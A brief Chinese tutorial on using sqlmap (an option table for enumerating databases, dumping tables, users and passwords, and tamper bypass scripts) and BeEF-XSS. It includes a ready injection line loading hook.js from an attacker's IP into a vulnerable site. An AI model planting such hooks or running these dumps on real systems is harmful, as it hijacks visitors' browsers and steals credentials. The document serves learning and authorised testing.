SQLmap使用
SQLmap 是一个开源的自动化SQL注入工具,能够自动检测目标URL的SQL注入漏洞,并通过注入SQL语句获取数据库信息,如数据库结构、表数据、用户凭据等
- SQLmap使用格式一般为:
sqlmap [-option] [-url]
- 相关参数作用:
参数 | 作用 |
---|---|
-u | 指定url(注入点),返回注入类型和使用的数据库信息 |
-b | 获取数据库版本 |
-a | 获取所有内容 |
-m | 对文件内的所有url进行扫描 |
-D | 指定目标数据库,单/双引号包裹,组合使用 |
-T | 指定目标表,单/双引号包裹,组合使用 |
-C | 指定目标字段,胆/双引号包裹,组合使用 |
–cookie | 指定cookie的值,单/双引号包裹 |
–current-db | 获取当前使用的数据库 |
–current-user | 获取当前登录的用户 |
–users | 获取所有用户名 |
–passwords | 获取所有用户名的密码 |
–privileges | 查看每个数据库成员的权限 |
–is-dba | 判断当前用户是否为数据库的管理员 |
–hostname | 获取服务器的主机名 |
–dbs | 获取所有数据库 |
–table | 获取所有表 |
–columns | 获取所有字段(只指定库名不指定表名会报错) |
–dump | 获取表中的信息 |
–search | 搜索数据库中的库/表/字段 |
–tamper | 指定绕过的脚本 |
Beef-XSS使用
Beef-XSS是一款开源的浏览器漏洞利用框架,专门用于Web浏览器的安全测试。它通过钓鱼链接或恶意代码将目标浏览器挂钩到框架中,允许测试人员执行各种攻击脚本,分析和利用浏览器及其插件中的安全漏洞,从而帮助评估和提升Web应用的安全性
- 打开beef工具,第一次启动会有设置密码,输入命令后会自动跳转到网页中进行登录
sudo beef-xss
- 在有XSS漏洞的网站插入下面的内容,启用beef工具
<script src="http://<IP>:3000/hook.js"></script> //其中IP填写kali机的地址
- 之后就可以在beef工具的ui界面查看到网站的相关信息
- 使用Commands模块对网页进行操作
- Commands中的提示
绿色:攻击可执行,且用户不可视
橙色:攻击可执行,但用户可视
灰色:攻击未确认
攻击不可执行